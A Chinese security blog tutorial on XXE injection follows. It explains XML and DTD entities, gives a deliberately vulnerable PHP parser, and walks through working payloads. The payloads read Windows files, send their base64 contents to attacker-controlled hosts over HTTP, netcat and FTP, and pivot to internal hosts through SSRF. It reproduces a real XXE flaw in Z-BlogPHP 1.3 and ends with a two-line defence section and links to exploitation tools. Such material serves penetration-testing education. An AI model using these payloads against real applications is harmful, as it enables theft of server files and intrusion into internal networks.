首页 » NetworkSec » Penetration » 正文

一文熟悉XXE

0x00 概述

XXE(XML External Entity attack),即外部实体注入,攻击利用xml作为数据交换的功能点,较为少见,但是威力巨大。
 

0x01 危害

  • 任意文件读取,如/et/passwd
  • 命令执行(expect://id)
  • 内网端口探测
  • 攻击内网网站(struts2)
  • DOS(billion laughs)

 

0x02 前置知识

XML:
一种允许用户对自己的标记语言进行定义的源语言。
文档结构包括:
1.XML声明:
<?xml version=”1.0″?>
2.DTD文档类型定义(可选)
DTD 可以在 XML 文档内声明,也可以外部声明。
内部声明:

<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>

外部声明:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
note.dtd:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

很像css的内部样式和外部样式。
 
dtd实体用于定义引用普通文本或特殊字符的快捷方式的变量
分为一般实体和参数实体。
一般实体:<!ENTITY 实体名 “实体内容“>
&实体名
参数实体:<!ENTITY % 实体名 “实体内容“>
%实体名
 
内部实体声明:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;&copyright;</test>

外部实体声明:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;©right;</author>

3.文档元素

<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

0x02 原理分析

有回显:
测试代码:
//测试代码来源
//www.mottoin.com/wp-content/uploads/2016/11/xxe.txt

<?php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT:  XML   
# LIBXML_DTDLOAD:  DOCTYPE  DTD 
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";
?>

Payload: 

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C://windows/win.ini" >]>
<creds>
<user>&xxe;</user>
</creds>


无回显(blind-xxe):
注释掉测试代码的echo即可。
这里利用两种方法获取win.ini的数据:
1.可控的远程主机写入数据:
Payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://192.168.43.173:8999/xxe.dtd"> %remote;]>
<foo/>
xxe.dtd:
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://192.168.43.173:8999/getxxeinfo.php?p=%payload;'>">
%int;
%trick;

注意这里实体值的%要html编码即&#37;
getxxeinfo.php:

<?php
file_put_contents('xxeinfo.txt', $_GET['p']);
?>

查看xxeinfo.txt:

2.可控远程主机日志记录:
Payload: 

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://192.168.43.237:80/file.dtd"> %remote;]>
</foo>

File.dtd:
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.43.237:80/?p=%payload;'>">
%int;
%trick;


查看日志:
192.168.43.173 – – [06/Apr/2018:01:03:08 +0800] “GET /?p=OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNQ0kgRXh0ZW5zaW9ucy5CQUtdDQozZzI9TVBFR1ZpZGVvDQozZ3A9TVBFR1ZpZGVvDQozZ3AyPU1QRUdWaWRlbw0KM2dwcD1NUEVHVmlkZW8NCmFhYz1NUEVHVmlkZW8NCmFkdD1NUEVHVmlkZW8NCmFkdHM9TVBFR1ZpZGVvDQptMnQ9TVBFR1ZpZGVvDQptMnRzPU1QRUdWaWRlbw0KbTJ2PU1QRUdWaWRlbw0KbTRhPU1QRUdWaWRlbw0KbTR2PU1QRUdWaWRlbw0KbW9kPU1QRUdWaWRlbw0KbW92PU1QRUdWaWRlbw0KbXA0PU1QRUdWaWRlbw0KbXA0dj1NUEVHVmlkZW8NCm10cz1NUEVHVmlkZW8NCnRzPU1QRUdWaWRlbw0KdHRzPU1QRUdWaWRlbw0KW1hMU2VydmljZVBsYXRmb3JtX1RwTG9hZGVyXQ0K HTTP/1.0” 302 – “-” “-”
除了http和file协议,还可以使用其他协议,如下图:

某些协议要安装对应模块,如下图:

XXE还可以形成ssrf,如请求内网另一台主机的文件,如以下payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE copyright[
<!ENTITY test SYSTEM "http://192.168.0.2/robots.txt">
]>
<reset>
<login>&test;</login>
<secret>login</secret>
</reset>

如果禁用了外部实体,还有doctype可以用来ssrf,如:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
或
#!xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" "http://internal/service?ssrf">
<roottag>not an entity attack!</roottag>

0x03 漏洞重现

利用Z-BlogPHP 1.3 Wonce Build 140614来实际重现xxe漏洞。
漏洞出现在:
zb_system/xml-rpc/index.php:635

$zbp->Load();
Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError',PLUGIN_EXITSIGNAL_RETURN);
$xmlstring = file_get_contents( 'php://input' );
//logs($xmlstring);
$xml = simplexml_load_string($xmlstring);
if($xml){
	$method=(string)$xml->methodName;
	switch ($method) {
case 'blogger.getUsersBlogs':
			$username=(string)$xml->params->param[1]->value->string;
			$password=(string)$xml->params->param[2]->value->string;
			if(!$zbp->Verify_Original($username,$password)){ShowError(8,__FILE__,__LINE__);}
			if($zbp->CheckRights('admin')){
				zbp_getUsersBlogs();
			}else{
				$zbp->ShowError(6,__FILE__,__LINE__);
			}
			break;
		case 'wp.getCategories':

直接simplexml_load_string,造成明显的xxe。
查看接下来的代码,貌似要经过身份验证才能回显信息,如果没有帐号密码就会showerror,这样就要利用blind-xxe了。
向zb_system/xml-rpc/index.php直接post payload:
Payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://192.168.43.173:8999/xxe.dtd">
%remote;]>
<foo/>

Xxe.dtd和原理分析的内容一样
查看xxeinfo.txt:

成功获得win.ini数据!
 
还可以利用nc在可控远程主机监听数据:

xxe.dtd:
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.43.237:1234/?p=%payload;'>">
%int;
%trick;


或者利用ftp协议:

xxe.dtd:
<!ENTITY % payload SYSTEM  "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://%payload;lsa@192.168.43.237:2121/'>">
%int;
%trick;

 

//利用脚本https//github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
Ps:发现一个有意思的现象,本人原想利用p神发现的zblog1.4(Z-BlogPHP 1.4 Deeplue Build 150101)xxe漏洞进行重现,但是发现该版本的代码加了
libxml_disable_entity_loader(true);
然而https://www.secpulse.com/archives/32838.html里却没加这行代码,并且$zbp->Load();都是对应的641行,真神奇……
 

0x04 防御方案

  • 禁用外部实体。
  • 过滤提交的xml数据。

 

0x05 如何寻找

查看接受xml内容的功能点,尝试修改content-type为xml,响应如果解析了xml则可能有xxe。
 

0x06 结语

XXE漏洞还是比较少见,但是危害却十分大,不可小觑。
相关工具:https://github.com/enjoiz/XXEinjector
更多payload参考:
https://xz.aliyun.com/t/2249
 

0x07 参考资料

https://blog.csdn.net/cristianojason/article/details/51000438
https://www.secpulse.com/archives/32838.html
www.mottoin.com/92794.html
https://www.cnblogs.com/r00tuser/p/7255939.html
www.freebuf.com/articles/web/126788.html
www.freebuf.com/articles/web/97833.html
www.w3school.com.cn/dtd/
https://xz.aliyun.com/t/2249
drops.xmd5.com/static/drops/tips-5290.html
https://www.anquanke.com/post/id/86075
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
 
 

Comment

please input captcha *